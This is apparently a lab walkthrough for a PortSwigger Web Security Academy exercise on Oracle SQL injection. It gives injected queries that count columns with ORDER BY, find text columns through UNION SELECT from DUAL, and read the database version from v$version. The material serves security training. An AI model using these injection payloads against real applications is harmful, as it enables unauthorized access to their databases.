SQL injection attack,querying the database type and version on Oracle

Platform: PortSwigger | Category: SQL_injection | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, SQL_injection

Summary

Walkthrough of the PortSwigger Web Security Academy lab SQL injection attack,querying the database type and version on Oracle (SQL_injection). This lab demonstrates a sql_injection vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — SQL_injection

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

Solution :

Here we can find out the number of columns that the web app is querying & also determine the columns which have text data but to retreive a column data we need to know the table name.

In oracle there is a default table called DUAL. Using that we can retreive column data.

Determine the number of columns

 sql read-only • copy allowed Copy
SELECT * FROM someTable WHERE category = '<CATEGORY>' ORDER BY 3 --

ORDER BY 3 gives error, so there are 2 columns being retreived.

Determine the column which has text data

 sql read-only • copy allowed Copy
SELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT 'shebu','cys' FROM dual --

Both the columns show the text in response. So both columns support text data.

Retreive db type & version of ORACLE

To retretive db type & version of ORACLE , we have the syntax SELECT * FROM v$version

 sql read-only • copy allowed Copy
SELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT NULL,banner FROM v$version --

We got the db info we needed.

Key Takeaways / Lessons

• Understanding SQL_injection detection and exploitation is crucial for web security.
• Always validate and sanitize user input; implement proper access controls.
• This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

---

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: SQL injection attack,querying the database type and version on Oracle